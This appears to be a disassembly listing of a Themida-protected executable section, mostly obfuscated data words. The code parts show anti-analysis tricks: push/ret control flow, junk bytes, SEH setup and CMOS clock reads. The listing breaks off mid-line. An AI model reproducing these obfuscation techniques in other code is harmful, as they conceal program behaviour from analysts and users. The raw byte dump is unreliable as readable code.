6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0F1D6C353h, 6AF7BFB5h, 66F95A96h, 0AFEADB81h, 0EB8E858Bh dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0AC9D2EC3h, 0E70B87D3h, 0C9BD892Ch, 0C707FA0Ch dd 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0B58B5EC8h, 7FDEB92h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 72C35343h, 359D8B89h dd 8B07FA1Dh, 0FA0D5185h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0DA7B2FD1h dd 399D8BA7h, 0BF07FA35h, 27B77E5h, 0E92DBB66h, 8E90689h dd 47000000h, 0FA004812h, 8BB0D9C2h, 0FA0FE985h, 10E95007h dd 43000000h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 5B39DC68h dd 81044689h, 0ACADF8E3h, 0BB66964Ch, 0F5039CBh, 88Fh dd 840F5600h, 0 ; --------------------------------------------------------------------------- pop ebx xchg eax, esi push 0 push esi call sub_5CA419 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA419 proc near ; CODE XREF: Themida_:005CA411p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5CA419 endp ; --------------------------------------------------------------------------- db 2Dh, 11h, 1Bh dd 643F0A33h, 0EB8EB5FFh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0A3B3D4C3h, 0B14738AEh dd 9E8F3h, 0E8CB0000h, 78A41F1Eh, 8BC346C4h, 6685BFBh dd 81ACD43Bh, 0C8F92404h, 0BD03534Ah, 7FA1F29h, 0EB96858Dh dd 0BD3107FDh, 7FA1CFDh, 90DBBF0Fh, 0BB665250h, 310F2402h dd 585A28B7h, 13E95350h, 34000000h, 0A2986D74h, 0C3D1A80Ch dd 0BB0D6C50h, 5FD72E09h, 905F575Fh, 0F219D89h, 95FF07FAh dd 7FA1CE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0E4C35646h, 0A4A134A1h, 8D8D894Ah, 6107FA20h, 6870Fh dd 0BD290000h, 7FA1E0Dh, 0C7D9BF0Fh, 0FA2BD985h, 307h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 259D3369h, 8307FA22h, 0FDEB96BDh, 840F0007h dd 2Eh, 177D9589h, 3EE907FAh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 2A27C356h dd 0FCEAFCCFh, 305021F7h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 558509C0h, 0BF07FA2Bh, 53B1625Eh dd 24D58529h, 0BD8307FAh, 7FA2BD9h, 75850F03h, 51000003h dd 835F44B3h, 0FDEB96BDh, 840F0007h, 364h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D2C35646h, 2251B501h dd 0BF0F07FAh, 0B5FFF8DBh, 7FDEB96h, 274595FFh, 0E78107FAh dd 1555197h, 0EB8AB58Bh, 6A07FDh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0AE67C4C3h, 0E8D98AD4h dd 0F9DD7ECh, 6C7FABFh, 10001h, 6E960h, 0E9C40000h, 245D9E98h dd 2C9D8D89h, 966107FAh, 0C033FBBBh, 0FB8B503Ch, 61BD8B96h dd 8907FA00h, 0FA0FB985h, 96B5FF07h, 0FF07FDEBh, 0FA18E195h dd 9CD78107h, 8B252688h, 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BAAE7559h dd 823C8108h, 1C7D858Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D93419C3h, 89DD8AE2h dd 0C486h, 0AE9F800h, 9D000000h, 0B5632F1h, 6346E4A4h dd 0D9958B7Ah, 5107FA1Ch, 4C2835Fh, 6830Fh, 0BD8B0000h dd 7FA26B9h, 6EDBD29h, 508907FAh, 7E920h, 31460000h, 0C5539173h dd 0F7858D8Fh, 6A07FDFEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 88F6C356h, 21859D31h dd 868907FAh, 0B8h, 2AD9BD33h, 6A07FAh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6DC35545h, 3656A724h dd 9D8B0C9Bh, 7FA2611h, 0EB96B5FFh, 6A07FDh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 92E00AC3h dd 50A0B04Ah, 6D8D8960h, 6607FA15h, 61C830BFh, 1C9595FFh dd 952907FAh, 7FA0F99h, 546E4ABBh, 0BF665073h, 348959C7h dd 1D9D0B24h, 0FF07FA25h, 0FDEB96B5h, 0D1958907h, 0FF07FA2Eh dd 0FA1D9595h, 83F88B07h, 0FA0131BDh, 840F0007h, 47h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D9C35646h, 34895037h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8529F0BEh, 7FA2315h, 0FFFAB70Fh, 0FDEB96B5h dd 6A16BB07h, 95FF5365h, 7FA1CB5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 5C35141h, 0B5FFA09Eh, 7FDEB96h dd 0AA2CBF66h, 21AD95FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0F4E522C3h, 0B529818Fh dd 7FA3509h, 2221BD83h, 0F0207FAh, 8A84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 520782E1h, 0D1AEDA10h, 858BDC8Ah, 7FA1615h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E5C35646h, 0D023CB8Dh dd 8949837Fh, 0FA2179BDh, 0FEB70F07h, 6A0000C6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 55D5C356h, 74D98E66h, 8E9AAB0h, 7000000h, 0E773DF7Dh dd 0C71EA544h, 0FA16DD85h, 7, 9A56BB00h, 0B5895296h, 7FA14E5h dd 0FFF3BDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8B866D22h, 50006AC1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0EFC72824h, 14127BA7h, 1DBD89D5h, 8D07FA2Ah, 0FA019985h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0B574FCA1h, 8B3A7344h, 0FA29119Dh, 0B3505007h dd 4895BB8h, 0B1BD8924h, 6A07FA1Ch, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 7384BCC2h dd 6A73FAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 57C35242h, 73C01D25h, 9E994F6h, 52000000h, 72D56E0Fh dd 0E97480D9h, 7780858Dh, 858907FEh, 7FA2B95h, 7AD9D89h dd 0C08307FAh, 880F6005h, 4, 0C5C0BE66h, 14E9h, 0ED7AF200h dd 7D1197FFh, 43AE5C79h, 0B12AE9D6h, 39A23F58h, 505061D2h dd 1CB35652h, 0E9310F5Bh, 0Ah, 52CEC921h, 0E85AFB51h, 585ADB57h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B423C353h, 7DFCF83Ah, 1181B509h dd 0FB8B07FAh, 0B589006Ah, 7FA0D2Dh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9933C0C3h dd 7E2AD40Eh, 9DBD29CCh, 0FF07FA01h, 0FA2BE995h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0FA8AD7B3h, 0C99D8B04h, 8D07FA14h, 0FDD7118Dh, 0E0806007h dd 8D31537Ah, 7FA17E5h, 0D1FF6159h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0DC35646h, 0BD83D15Dh, 7FA33EDh dd 7E850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 7BBFC356h, 1499529h dd 26A07FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0C4C35545h, 0E850B3C2h, 0Ah, 501008A3h, 0FD623393h dd 9E81A1Eh, 0F2000000h, 2C10B401h, 0FFBF6D65h, 310F5250h dd 5F5F585Ah, 0FF240489h, 0FA1C9595h, 6E807h, 85680000h dd 0DA7E90EDh, 0DCAE95Bh, 0E80000h, 5D000000h, 778AED81h dd 6A07FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 4937BAC3h, 99D33BBh, 8D07FA2Ch, 0FDB95985h dd 1A810F07h, 0E8000000h, 0Eh, 865D991h, 0CEEB4732h, 1C1EA7DCh dd 8B0FFBDDh, 0 dd 5250505Fh, 8B665250h, 60310FDEh, 0F585A61h, 8E931h dd 0CC280000h, 0A917EEE3h, 585A0120h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0FEA9C357h, 8E298C87h, 0FF64761Ah, 35h, 259D8B00h, 6407FA35h dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 85FF48C3h, 7FA1049h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E0C35545h, 8184D7DDh dd 126695CBh, 6AFF6A5Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 568EC352h, 53856EBFh dd 51A10BF9h, 18FDB529h, 0BD8B07FAh, 7FA34D9h, 0CE9h, 0F29BF00h dd 2CE2133Fh, 0BE4AA8DFh, 59B5FF4Bh, 8B07FA2Fh, 0FA22699Dh dd 7595FF07h, 0E907FA28h, 122h, 1469BD8Bh, 0B007FAh, 559BD89h dd 70E607FAh, 4BDF8166h, 6671E483h, 613CD88Bh, 100830Fh dd 9E90000h, 0AB000000h, 7EA0DE6Ch, 1D5E76Ah, 0E8C8B60Fh dd 7, 0E1491DA4h, 0E9B0A188h, 9, 90D5D4FFh, 2493CB6h, 6BA5F91h dd 89000000h, 0FA013985h, 0FC18B07h, 0E8C1D8B7h, 0DCF78104h dd 660F5416h, 3ABBE2F7h, 2B57F0D4h, 559D23C8h, 8B07FA00h dd 666057D1h, 6D67EF81h, 5B615E57h, 6E9F88Bh, 31000000h dd 0FA1BE99Dh, 1D858B07h, 0F07FA17h, 0C87h, 6800F00h, 89000000h dd 0FA2BF585h, 4D852907h, 8307FA28h, 7E807C0h, 99000000h dd 0B3E6D27Fh, 8589A9B5h, 7FA269Dh, 0C0835Bh, 10B9BD29h dd 0D03B07FAh, 15830Fh, 8D0F0000h, 3, 0E9FA8B66h, 3Eh dd 1D799D8Bh, 8BF907FAh, 0FA1E898Dh, 85858907h, 8307FA25h dd 840F01E1h, 22h, 1E89A583h, 8BFE07FAh, 0FA14859Dh, 1D958907h dd 0F07FA17h, 489h, 77BB6600h, 0E981h, 0B58D0000h, 7FE0A9Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 99C35646h dd 0C15FB916h, 6AFE0851h, 919D8900h, 0FF07FA1Ch, 0FA101995h dd 0B58D2907h, 0B907FA08h, 0E85h, 66CB8166h, 0FCE183E7h dd 29BD03h, 6AFC07FAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 1980C353h, 68A80D53h dd 0FF4BA02h, 0C02BFAB7h, 16198D89h, 0D22B07FAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 2C0B5EF7h dd 555B6CD6h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 50C35646h, 0B19D8B3Ch dd 6A07FA1Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0CC61C356h, 2AD9ECEAh, 0D5CDBC01h dd 0FDF8B66h, 880DDFBFh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C64DC357h dd 0B8C0FA9h, 60000000h, 8BCE8B66h, 0FA0B9D95h, 958B6107h dd 7FA1CD9h, 68D38166h, 0AD8D8BE4h, 6A07FA31h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 7813C355h, 0BA6B39CDh, 210767A3h, 9E9h, 0C362B100h dd 8908325Bh, 8E8B69Fh, 0E4000000h, 1812F757h, 0BF98CC4Fh dd 1C0949D7h, 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6058188Bh, 293D9533h, 850107FAh, 7FA1119h, 29BD8361h dd 7FA2Ah, 94840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0A9C5DDC3h, 2B61BD8Bh dd 0B807FAh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0F822C352h, 8C4CF594h dd 8D8D31FCh, 7FA4F66h, 13E9h, 9968E500h, 5DE451A5h, 7C37F762h dd 8314DC3h, 493664DEh, 15859589h, 0E1FF07FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4BC35141h, 0F5ED6889h dd 0BD83FFABh, 7FA2BD9h, 0F1840F00h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0CEE8C357h, 2BD9BD83h, 0F0107FAh, 3E284h, 0D8BF0F00h dd 2BD9BD83h, 0F0307FAh, 39C86h, 0FE8B5100h, 6A605Fh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 664D00C3h, 62CC781h, 2D119D89h, 8C6607FAh, 55006AD9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 2DC2C694h, 8E0F6B4Dh, 0Fh, 0AE9h, 80261400h, 1F83157Bh dd 89401CB3h, 0FA07BD95h, 4E18007h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 85C35646h, 0FC90A6Eh, 10984h dd 0E9858B00h, 6A07FA0Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 533BC355h, 0EAC41C57h dd 0E18533F4h, 8B07FA15h, 0FA0FD5BDh, 7E89007h, 91000000h dd 0E860E99Ch, 52501E5Dh, 310F6160h, 5AD98B66h, 8B505B58h dd 0F78190FAh, 7A13834h, 0BD89006Ah, 7FA231Dh, 4E8h, 1F03FF00h dd 118E0F00h, 0E8000000h, 5, 23C01AAh, 820F46h, 5F000000h dd 24448B50h, 0BE904h, 4D610000h, 958AE8F7h, 0D84B634Dh dd 52008B78h, 2444895Fh, 9E804h, 0EE3F0000h, 8E36A33Bh dd 5FC12069h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6FA537E6h, 8032D924h, 95FFA8CBh dd 7FA1CE9h, 2846E781h, 858916CDh, 7FDEB96h, 13E9h, 0B5CC400h dd 0C807185Ah, 894D8B8Eh, 736DD12Ah, 2445480Dh, 197E9h dd 0DBB70F00h, 8859D29h, 858B07FAh, 7FDEB8Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 0BB6648BDh dd 0C7C4DEh, 18h, 3BC5BF66h, 0EB92B58Bh, 6A07FDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0AAB1ACC3h, 70EF9A78h, 0E99D8BB4h, 0E807FA28h, 8, 0E58D8735h dd 0C6D6F655h, 6890Fh, 9D0B0000h, 7FA20B9h, 51858B5Bh dd 0F07FA0Dh, 688h, 5D8D8900h, 8907FA11h, 38C0F06h, 0F000000h dd 858BD9BFh, 7FA0FE9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 7BC35141h, 0DD9D8B9Eh, 8907FA18h, 9D2B0446h dd 7FA2845h, 0E519D8Bh, 0BF5007FAh, 90E8C1Ah, 0B7243489h dd 0B59D0997h, 0FF07FA32h, 0FDEB8EB5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 703D816Bh, 0F4EC1D2h, 0D968F9BFh, 81A22372h, 91262404h dd 6A5DFBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 19A4EEC3h, 0F380C86Fh, 96858DB3h, 8B07FDEBh dd 0FA34AD9Dh, 8E99007h, 0EC000000h, 0C6106ED0h, 5094DAB6h dd 5E9h, 0BC106400h, 669089F2h, 0FFC35DBBh, 0FA1CE995h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0B393D0E7h, 98C8A130h, 34BF6661h, 0D985C74Ah dd 307FA2Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h dd 41000000h, 0A8DCC351h, 27E99D8Bh, 0BD8307FAh, 7FDEB96h dd 32840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E919C355h, 2Ch, 0B830Fh dd 8C0F0000h, 5, 7B33C9BBh, 0C30502Ch, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0F4C35545h, 6291A0B7h, 0FCD24E3h, 68Ah dd 0A5953100h, 2907FA2Dh, 0FA18B99Dh, 0D9BD8307h, 307FA2Bh dd 44B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 36AF3FC3h, 0DD8A6032h, 0A73AD781h dd 8361024Bh, 0FDEB96BDh, 840F0007h, 415h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E3C35747h, 0BD33D7BCh dd 7FA1681h, 0B9BD0Bh, 0B5FF07FAh, 7FDEB96h, 7C38166h dd 4595FFBBh, 6A07FA27h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 680C355h, 6D18A068h dd 8BF59CB4h, 0FDEB8AB5h, 0DFB70F07h, 38F0Fh, 8B660000h dd 106C7D9h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 845C353h, 8B21B312h dd 0FA29ED9Dh, 96509607h, 6399589h, 958907FAh, 7FA2871h dd 0EB96B5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 1C27A1C3h, 67979574h, 0E9BF660Bh dd 719D8985h, 0FF07FA0Dh, 0FA18E195h, 0C19D8B07h, 8B07FA10h dd 0FDEB8AB5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 896EBF56h, 0FA35099Dh dd 7D858B07h, 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8960C351h, 0C486h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 9134D1B3h, 0CDFE2F2Eh, 9D8B51EFh, 7FA345Dh dd 0D9958B5Fh, 8907FA1Ch, 0FA18D1B5h, 6E907h, 999C0000h dd 178D7A1h, 8104C283h, 478E8EFh, 2050894Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CBC35141h, 4291805Ch dd 0FE9h, 62D6CA00h, 9144E342h, 8624C61Eh, 1A872C4Ah, 0FEF7858Dh dd 0DF8007FDh, 0BE926h, 1D30000h, 0C3F75E8Bh, 0C376969Eh dd 0B886898Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 292EC355h, 0F98F5CE8h dd 8E88F0Fh, 0F1000000h, 7E5B7F58h, 0F6F5473h, 8Eh, 6A5B00h dd 6EDBD0Bh, 0B5FF07FAh, 7FDEB96h, 9D2355B7h, 7FA18FDh dd 1C9595FFh, 0DE907FAh, 89000000h, 5DCA7BBFh, 0AD327EB8h dd 0B56F9C6Fh, 0E8525096h, 0Bh, 590111D3h, 8712B43Bh, 8B81B910h dd 310F5BDFh, 5AFE8B66h, 0BA605058h, 0CD5120Ch, 0EE9h dd 7CE20300h, 625C8DDCh, 94344EC0h, 61706551h, 98D0996h dd 0FF07FA22h, 0FDEB96B5h, 6D858907h, 0B07FA1Dh, 0FA064D9Dh dd 9595FF07h, 6A07FA1Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0E69C350h, 0BEBB6664h dd 31BD8364h, 7FA01h, 31840Fh, 9D8B0000h, 7FA1035h, 89DA8B50h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3C1DE9C3h, 0ADBD239Eh, 0FF07FA0Ch, 0FDEB96B5h dd 0E19D3107h, 0FF07FA27h, 0FA1CB595h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 3D740481h, 0BFB46085h, 5AA1D941h, 399D8B51h, 5B07FA07h dd 0EE9h, 28853500h, 0C5C9F65Eh, 3F75201Dh, 0FFB6AE79h dd 0FDEB96B5h, 95FFFC07h, 7FA21ADh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 62C35747h, 0AA478B38h, 0E72FBB66h dd 2221BD83h, 0F0207FAh, 5784h, 188B0F00h, 0E8000000h dd 11h, 54491669h, 382E90FDh, 0F1C1FFC7h, 7EBBFC0Eh, 8B5BF9D3h dd 0FA161585h, 0BD896007h, 7FA3379h, 61F2B70Fh, 6A0000C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 254AC355h, 9D035D92h, 7FA2E59h, 16DD85C7h dd 7FAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0FE0BA0C3h, 814F6371h, 5F4B79E3h dd 0F36FE91Dh, 0DE8FFFFh, 0B1000000h, 200853DEh, 7787D36h dd 1680AB68h, 17D59D8Bh, 8B5B07FAh, 0FA2DB59Dh, 6AC18B07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 5358C352h, 5BD98B66h, 199858Dh, 0BD8B07FAh dd 7FA3295h, 5E48BB90h, 50503339h, 66310F52h, 585AF88Bh dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 2A75BDF2h, 89BD29B5h, 6A07FA31h, 9D015100h dd 7FA0205h, 9006A5Bh, 0FA2575BDh, 8858D07h, 5707FE87h dd 76D8BB66h, 5C0835Bh, 25118501h, 665007FAh, 89E1E3BBh dd 2DB72404h, 6AF9BF0Fh, 0C7816600h, 6AA3C5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3BC35242h, 95FFFC78h dd 7FA2BE9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 3CC35040h, 1A681030h, 65C956C0h, 118D8D78h, 6A07FDD7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 99DFC353h, 690D7A12h, 0BD2989E5h, 7FA1671h dd 5E9D1FFh, 0A9000000h, 0C4E6ED2Bh, 33EDBD83h, 0F0107FAh dd 0A885h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0F8BE79h, 0DDBB54CAh, 663E2EB7h dd 42E0F381h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0AF6B1C3h, 90DA8B66h, 2692BF66h dd 5F69BB50h, 6A9028EEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 2606C356h, 54223952h dd 0FFCD429Ch, 0FA1C9595h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8166C495h dd 8B50F1E7h, 0D1CE9F8h, 0E80000h, 5D000000h, 8712ED81h dd 8C0F07FEh, 1Fh, 19890Fh, 14E90000h, 3F000000h, 0E30D2423h dd 78AE2B9h, 1BD6D5EAh, 501FAABEh, 0E9073708h, 0Bh, 34644448h dd 0E966B6BAh, 8D222E5Ah, 0FDB95985h, 0FA8B6607h, 1015BD89h dd 0F5007FAh, 589h, 5CECBF00h, 48971CAh, 35FF6424h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5CBBBF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBBBF proc near ; CODE XREF: Themida_:005CBBB7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5CBBBF endp ; --------------------------------------------------------------------------- mov eax, 15B98589h cli pop es jz $+6 mov large fs:0, esp push 0 push ebp call sub_5CBBEE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBBEE proc near ; CODE XREF: Themida_:005CBBE6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5CBBEE endp ; --------------------------------------------------------------------------- add al, 0D3h lahf adc [ecx], ah mov ebx, 12222BFFh inc dword ptr [ebp+7FA1049h] push 0FFFFFFFFh jmp loc_5CBC23 ; --------------------------------------------------------------------------- db 0Ch, 29h, 0Eh dd 0E6104E24h, 0BAFF1AC1h db 0CFh, 0Ch, 0A7h ; --------------------------------------------------------------------------- loc_5CBC23: ; CODE XREF: Themida_:005CBC10j push dword ptr [ebp+7FA16B1h] movsx ebx, di call dword ptr [ebp+7FA2875h] jmp loc_5CBD4C ; --------------------------------------------------------------------------- jmp loc_5CBC4C ; --------------------------------------------------------------------------- dd 3EB516EDh, 0D68D7E4Dh, 777D2FC3h, 0B32EADCBh ; --------------------------------------------------------------------------- loc_5CBC4C: ; CODE XREF: Themida_:005CBC37j mov bl, 55h mov al, 0 sbb bl, 0Eh out 70h, al ; CMOS Memory: ; used by real-time clock mov di, 0E9BFh in al, 71h ; CMOS Memory mov ebx, esi cmp al, 61h jnb loc_5CBD4C and ebx, [ebp+7FA2615h] movzx ecx, al mov [ebp+7FA2AE9h], edi mov edx, 6 mov [ebp+7FA1741h], edi mov eax, ecx sub edi, 58F5CE0Ch shr eax, 4 jmp loc_5CBC95 ; --------------------------------------------------------------------------- db 0B0h dd 0C8F97E21h ; --------------------------------------------------------------------------- inc eax loc_5CBC95: ; CODE XREF: Themida_:005CBC8Aj mul dx sub ecx, eax add ebx, [ebp+7FA2761h] mov edx, ecx mov bh, al jmp loc_5CBCC3 ; --------------------------------------------------------------------------- jmp loc_5CBCBE ; --------------------------------------------------------------------------- and [edi-378F4CADh], edx add [edx+9FE5374h], esi stosd rcl dword ptr [esp+edx], cl loc_5CBCBE: ; CODE XREF: Themida_:005CBCA9j mov edi, 1E9412C6h loc_5CBCC3: ; CODE XREF: Themida_:005CBCA4j mov eax, [ebp+7FA15F1h] jns loc_5CBCD5 mov [ebp+7FA34BDh], esi loc_5CBCD5: ; CODE XREF: Themida_:005CBCC9j add eax, 7 jmp loc_5CBCE5 ; --------------------------------------------------------------------------- db 0DDh, 0D8h, 4Ah dd 1D1C5E4Eh db 31h ; --------------------------------------------------------------------------- loc_5CBCE5: ; CODE XREF: Themida_:005CBCD8j add eax, 0 movsx ebx, si cmp edx, eax jnb loc_5CBD14 jmp loc_5CBD06 ; --------------------------------------------------------------------------- dd 9278727Ah, 9973B932h, 0A659E2CEh db 0A1h, 0E6h ; --------------------------------------------------------------------------- loc_5CBD06: ; CODE XREF: Themida_:005CBCF3j mov [ebp+7FA071Dh], esi jmp loc_5CBD4C ; --------------------------------------------------------------------------- adc bh, 10h loc_5CBD14: ; CODE XREF: Themida_:005CBCEDj mov ecx, [ebp+7FA0DA5h] clc sbb bl, 0Fh and ecx, 1 jz loc_5CBD4C xor di, 0F4A7h and dword ptr [ebp+7FA0DA5h], 0FFFFFFFEh mov edi, [ebp+7FA16C9h] mov [ebp+7FA15F1h], edx push ecx and edi, [ebp+7FA0B45h] pop edi jmp $+5 loc_5CBD4C: ; CODE XREF: Themida_:005CBC32j ; Themida_:005CBC5Fj ... lea esi, [ebp+7FE1AEDh] jp loc_5CBD59 clc loc_5CBD59: ; CODE XREF: 